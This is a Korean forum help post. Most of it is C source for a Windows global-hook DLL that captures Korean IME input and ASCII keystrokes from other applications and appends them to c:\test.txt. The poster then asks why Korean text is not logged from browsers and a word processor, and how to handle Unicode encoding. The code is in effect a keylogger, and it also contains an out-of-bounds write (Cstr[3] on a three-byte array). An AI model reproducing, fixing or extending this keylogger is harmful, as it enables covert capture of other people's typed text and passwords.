#include <windows.h>
#include <stdio.h>
#include <imm.h>
//걍만든함수
void FilePrint(char* filepath, LPCVOID lpstr, DWORD strlen) //(경로, 문자열포인터, 길이)받아서 메모장에 저장
{
HANDLE hFile;
DWORD dwWrite; // 텍스트를 저장하기위한 변수
hFile = CreateFile(filepath,
GENERIC_WRITE,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
SetFilePointer(hFile, 0, 0, FILE_END);
WriteFile(hFile, lpstr, strlen, &dwWrite, NULL);//&((MSG*)lp)->wParam
CloseHandle(hFile);
}
//dll 본체
__declspec(dllexport) LRESULT CALLBACK GetMsgProc(INT nCode, WPARAM wp, LPARAM lp)
{
if(nCode < 0) return true;
static unsigned char Cstr[3] = {0,}; // 조합중인 문자!!
int len;
HIMC m_hIMC=NULL; // IME 핸들
switch (((MSG*)lp)->message)
{
case WM_IME_COMPOSITION: //한글입력
{
m_hIMC = ImmGetContext(((MSG*)lp)->hwnd); // ime핸들을 얻는것
if (((MSG*)lp)->lParam & GCS_RESULTSTR)
{
if ((len = ImmGetCompositionString(m_hIMC, GCS_RESULTSTR, NULL, 0)) > 0)
{
// 완성된 글자가 있다.
ImmGetCompositionString(m_hIMC, GCS_RESULTSTR, Cstr, len);
Cstr[3] = 0;
len = 0;
FilePrint("c:\\test.txt", Cstr, 2);
}
}
ImmReleaseContext(((MSG*)lp)->hwnd, m_hIMC); // IME 핸들 반환!!
}
break;
case (long)WM_CHAR: //영문밑숫자 입력
{
if( 31 < ((MSG*)lp)->wParam && ((MSG*)lp)->wParam < 128)
{
FilePrint("c:\\test.txt", &((MSG*)lp)->wParam, 1);
}
}
break;
}
return true;
}
=====================================================================
키보드 후킹 관련해서 짜고있는 dll입니다.(전역후킹)
궁금한게 몇가지 잇는데요.
((MSG*)lp)->wParam에는 유니코드 문자가 들어오는것 같고
ImmGetCompositionString(m_hIMC, GCS_RESULTSTR, Cstr, len); 이 함수를 쓰면
Cstr에 멀티바이트코드가 들어가는 것 같은데요.
1.그럼 한글을 쓸 때 ImmGetCompositionString함수는 m_hIMC에 들어있는 정보를 통해서
((MSG*)lp)->wParam에 들어있는 유니코드를 멀티바이트로 바꿔주는건가요?
2.메모장에 저장("c:\\test.txt")하면 멀티바이트코드만 한글로표시 가능하고 한글유니코드는 표시를 못하는데요. 메모장 자체를 코드에서 유니코드인코딩 형식으로 저장할 수 있을까요? 그리고 그러면 한글유니코드가 표시될까요?
3.(가장 궁금한거..)이 후킹 프로그램을 실행하고 다른 (후킹된)메모장에서 글씨를 쓰면 한글,영문,숫자 다 입력되서 메모장("c:\\test.txt")에 잘 저장됩니다. 그런데 (후킹된)인터넷이나 (후킹된)아래한글 같은 데서는 영문,숫자는 잘 저장되는데 한글은 안됩니다. 왜그럴까요?
생초보라 물어볼곳도 없고, 몰라서 지쳐쓰러지겟습니다.ㅜㅜ
여유로우신 고수님들의 가르침을 부탁드릴게요.
|